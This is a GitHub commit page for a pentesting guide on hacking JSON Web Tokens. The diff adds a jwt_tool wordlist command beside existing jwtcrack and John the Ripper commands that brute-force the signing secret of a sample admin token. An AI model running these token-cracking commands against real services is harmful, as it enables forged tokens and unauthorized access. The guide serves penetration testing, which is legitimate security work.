Skip to content

Commit a1fab3d

Browse files
carlospolopgitbook-bot
authored andcommitted
GitBook: [master] one page modified
1 parent 95777a3 commit a1fab3d

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

pentesting-web/hacking-jwt-json-web-tokens.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -47,13 +47,15 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
4747
```bash
4848
git clone https://github.com/Sjord/jwtcrack.git
4949
cd jwtcrack
50-
5150
#Bruteforce using crackjwt.py
5251
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
5352

5453
#Bruteforce using john
5554
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
5655
john jwt.john #It does not work with Kali-John
56+
57+
#https://github.com/ticarpi/jwt_tool
58+
python3 jwt_tool.py -d wordlists.txt <JWT token>
5759
```
5860

5961
## Modify the algorithm to None \(CVE-2015-9235\)

0 commit comments

Comments
 (0)